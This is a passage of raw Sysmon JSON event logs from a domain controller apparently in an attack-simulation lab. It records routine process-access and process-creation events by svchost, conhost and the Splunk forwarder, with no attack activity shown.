11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2087,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2088,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2089,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2090,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2091,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2092,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2093,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.531\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-001057CC0200}\r\nTargetProcessId: 3820\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.531","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-001057CC0200}","TargetProcessId":"3820","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2094,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.643\r\nProcessGuid: {90617006-3FE9-5F2D-0000-0010245A0300}\r\nProcessId: 3652\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\powershell.cmd\" --scheme\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.643","ProcessGuid":"{90617006-3FE9-5F2D-0000-0010245A0300}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\powershell.cmd\" --scheme\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2095,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.640\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 3752\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-3FE9-5F2D-0000-0010245A0300}\r\nTargetProcessId: 3652\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program 